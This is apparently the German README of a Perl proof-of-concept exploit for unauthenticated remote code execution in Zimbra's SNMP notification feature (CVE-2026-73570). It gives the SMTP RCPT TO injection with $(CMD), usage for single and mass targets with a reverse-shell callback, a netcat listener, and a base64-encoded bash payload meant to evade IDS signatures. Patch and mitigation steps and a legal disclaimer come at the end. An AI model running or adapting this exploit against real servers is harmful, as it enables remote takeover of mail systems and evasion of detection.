
Zimbra SNMP-Benachrichtigung OS-Command-Injection — Nicht authentifizierte RCE über SMTP-Exploit (PoC)
| Feld | Wert |
|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 HOCH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — Unzureichende Neutralisierung spezieller Elemente in einem OS-Befehl |
| Betroffen | Zimbra ZCS < 10.1.20 (mit installiertem zimbra-snmp) |
| Behoben in | ZCS 10.1.20 — Juli 2026 |
| CISA KEV | Hinzugefügt am 2026-08-21 (FCEB-Behebungsfrist: 2026-08-24) |
| Authentifizierung erforderlich | Keine |
| Ausführung als | zimbra-OS-Benutzer |
Das optionale Paket zimbra-snmp enthält eine swatchdog-Regel, die /var/log/zimbra.log nach Zeilen durchsucht, die folgendem Muster entsprechen:
Service status change: <NAME> changed from <STATE> to <STATE>
Bei einer Übereinstimmung übergibt swatchdog das erfasste Feld <NAME> ohne jegliche Bereinigung direkt an das SNMP-Notification-Shell-Skript.
Ein nicht authentifizierter Angreifer kann einen manipulierten Logeintrag injizieren, indem er einen speziell geformten SMTP-RCPT TO-Befehl sendet. Mithilfe eines quoted local-part gemäß RFC 5321 werden Shell-Metazeichen — z. B. $(...) — innerhalb von <NAME> eingebettet und ausgeführt, wenn swatchdog die resultierende Logzeile verarbeitet.
Alle drei Bedingungen müssen auf dem Zielsystem erfüllt sein, damit die Schwachstelle ausnutzbar ist:
zimbra-snmp ist installiertsnmp_notify = true)swatchdog läuftAngreifer Zimbra MTA
│ │
│── TCP connect :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── protokolliert RCPT-TO-Daten ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog findet
│ │ Muster, extrahiert
│ │ $(CMD), führt aus
│◄─────────── Shell-Callback ───────────────────────────────────────┘
RCPT TO senden.swatchdog findet das Logmuster und extrahiert das injizierte $(CMD).CMD als zimbra-OS-Benutzer aus.cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444
targets.txt — ein Host pro Zeile, optional :port, Zeilen, die mit # beginnen, werden ignoriert:
mail.example.com
mail.example.com:25
10.0.0.50:587
# ignorierter Kommentar
| Flag | Lang | Standard | Beschreibung |
|---|---|---|---|
-H | --host | — | Einzelner Ziel-Hostname oder IP |
-f | --file | — | Datei mit Zielliste |
-p | --port | 587 | Standard-SMTP-Port |
-r | --rhost | — | Ihre IP für den Reverse-Shell-Callback |
-R | --rport | 4444 | Listener-Port |
-t | --timeout | 15 | Socket-Timeout in Sekunden |
-S | --ssl | aus | Direktes TLS (automatisch aktiviert auf Port 465) |
-v | --verbose | aus | Vollständigen SMTP-Dialog ausgeben |
-L | --logfile | — | Sitzungslog in Datei schreiben |
-h | --help | — | Hilfe anzeigen |
# Terminal 1 — Listener starten
nc -lvnp 4444
# Terminal 2 — Exploit ausführen
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
Der Reverse-Shell-Befehl wird vor der Injektion base64-kodiert:
echo <b64>|base64 -d|bash
Dies verhindert, dass IDS/IPS Klartext-Signaturen wie /dev/tcp, bash -i oder nc -e erkennen. Der kodierte Block wird als $(...) innerhalb des quoted local-part von RCPT TO injiziert und löst serverseitig die Ausführung aus, wenn swatchdog den Logeintrag verarbeitet.
| Aktion | Detail |
|---|---|
| Patch | Upgrade auf Zimbra ZCS ≥ 10.1.20 |
| SNMP-Notify deaktivieren | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| Paket entfernen | apt remove zimbra-snmp / yum remove zimbra-snmp |
| Netzwerk-Kontrollen | Eingehendes SMTP (25/465/587) auf vertrauenswürdige Relays beschränken, wo betrieblich machbar |
Dieser Proof-of-Concept wird ausschließlich für autorisierte Sicherheitstests, akademische Forschung und defensive Zwecke veröffentlicht.
Die Ausführung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Testgenehmigung haben, ist illegal.
Der Autor übernimmt keinerlei Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.